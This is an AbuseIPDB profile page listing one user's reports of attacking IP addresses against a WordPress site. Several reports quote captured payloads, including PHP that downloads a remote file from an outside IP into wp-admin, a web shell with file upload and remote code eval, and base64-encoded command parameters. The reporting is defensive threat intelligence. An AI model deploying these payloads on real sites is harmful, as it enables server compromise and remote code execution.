User Ili Karasimirov
joined AbuseIPDB in March 2022 and has reported 8 IP
addresses.
Standing (weight) is
good.
INACTIVE USER
IP
Date
Comment
Categories
🇺🇸
74.249.156.221
09 Aug 2023
Trying to use WordPress vulnerability $_POST = [
'vz' =>
'$x=fwrite(fopen($_SERVER[\'DOCUMENT_ ...
show more
Trying to use WordPress vulnerability $_POST = [
'vz' =>
'$x=fwrite(fopen($_SERVER[\'DOCUMENT_ROOT\'].\'/wp-admin/css/colors/blue/uploader.php\',\'w+\'),file_get_contents(\'http://51.79.124.111/vz.txt\'));echo
\"aDriv4\".$x;'
]
$_GET = [
0 => ''
1 => 'wp-admin'
2 => 'css'
3 => 'colors'
4 => 'blue'
5 => 'blue.php'
'lang' => 'bg'
'default_language' => 'bg'
'wall' => 'ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw=='
]
show less
Web App Attack
🇺🇸
52.176.92.202
06 Jul 2023
Wordpress attack with posting data to /wp-plain.php
Payload: error_reporting(0); echo php_uname()." ...
show more
Wordpress attack with posting data to /wp-plain.php
Payload: error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET['Fox'] == 'd3wL7'){$saw1 = $_FILES['file']['tmp_name'];$saw2 = $_FILES['file']['name'];echo "<form method='POST' enctype='multipart/form-data'><input type='file' name='file' /><input type='submit' value='UPload' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $php = curl($code); } $php=str_replace("<?php", "", $php); $php=str_replace("?>", "", $php); eval($php); } function curl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, 40); curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);...
show less
Hacking
Web App Attack
🇺🇸
104.234.147.45
06 Mar 2023
Posting data and try to hack in:
$_POST = [
'cmd' => 'ZWNobyAiWE9fU3AzY3RyYSI='
'a' => 'c ...
show more
Posting data and try to hack in:
$_POST = [
'cmd' => 'ZWNobyAiWE9fU3AzY3RyYSI='
'a' => 'command'
'c' => 'ZWNobyAiWE9fU3AzY3RyYSI='
]
show less
Web Spam
Hacking
Spoofing
Web App Attack
🇺🇸
137.184.194.199
17 Feb 2023
Wordpress attack to wp-plain.php
See attack details https://pastebin.com/ZhCZSkmU
Exploited Host
🇨🇳
1.116.44.145
03 Sep 2022
Probing
Web App Attack
🇷🇺
185.4.64.98
19 May 2022
Searching for vulnerabilities by posting
Web App Attack
🇷🇺
193.106.191.112
24 Mar 2022
Snooping around for vulnerabilities
$_POST = [
'pf' => 'hrehnrhknvor'
'cookies_p' => ' ...
show more
Snooping around for vulnerabilities
$_POST = [
'pf' => 'hrehnrhknvor'
'cookies_p' => 'ZGllKHBpKCkqNDIpOw=='
]
$_GET = [
0 => 'sys-cache'
1 => 'index.php'
'lang' => 'bg'
'default_language' => 'bg'
]
show less
Web App Attack
🇷🇺
185.191.34.215
20 Mar 2022
Posting to:
'REDIRECT_SCRIPT_URL' => '/sistem.php'
$_POST = [
'pass' => ''
'a' ...
show more
Posting to:
'REDIRECT_SCRIPT_URL' => '/sistem.php'
$_POST = [
'pass' => ''
'a' => 'RC'
'p1' => 'die(pi()*42);'
'ne' => '1'
]
$_GET = [
0 => 'sistem.php'
'lang' => 'bg'
'default_language' => 'bg'
]
show less
Web App Attack